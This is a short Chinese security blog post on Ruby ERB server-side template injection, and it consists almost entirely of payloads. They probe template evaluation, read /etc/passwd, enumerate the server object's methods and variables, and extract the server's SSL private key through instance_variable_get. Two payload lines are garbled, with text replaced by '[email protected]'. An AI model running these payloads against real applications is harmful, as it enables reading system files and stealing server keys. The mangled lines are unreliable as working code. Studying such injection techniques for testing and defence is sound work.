Ruby_ERB模板注入

ERB代表嵌入式Ruby,用于在模板中插入Ruby变量,例如HTML和YAML。 ERB是一个Ruby类,它接受文本,并评估和替换ERB标记包围的Ruby代码。

模板格式

1
<%= 7 * 7 %>

查看文件

正常情况

1
<%= File.open('/etc/passwd').read %>

报错原因

Ruby的ERB模板引擎包含一个安全级别(safe level)参数,当安全级别设置为0以上的某个值(比如3)时,我们无法在模板绑定(template binding)中执行包括文件操作在内的某些函数。如果应用使用的安全级别为4,那么它会使用最为严格的隔离机制,只能执行标记为可信状态的那些代码。

获取self对象的类名

1
<%= self.class.name %>

枚举类的可用方法

1
<%= self.methods %>

获取函数所需的具体参数

1
<%= self.method(:handle_POST).parameters %>

获取某些对象的具体含义

1
<%= session.class.name %>

查看是否可访问的变量

1
<%= self.instance_variables %>

查看对象包含的成员变量

1
<%[email protected]_variables %>
1
<% [email protected]_variable_get(:@ssl_context) %><%= ssl.instance_variables %>

提取变量值

1
<% ssl = @server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variable_get(:@key) %>
Author: Sys71m
Link: https://www.sys71m.top/2018/08/03/Ruby_ERB模板注入/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.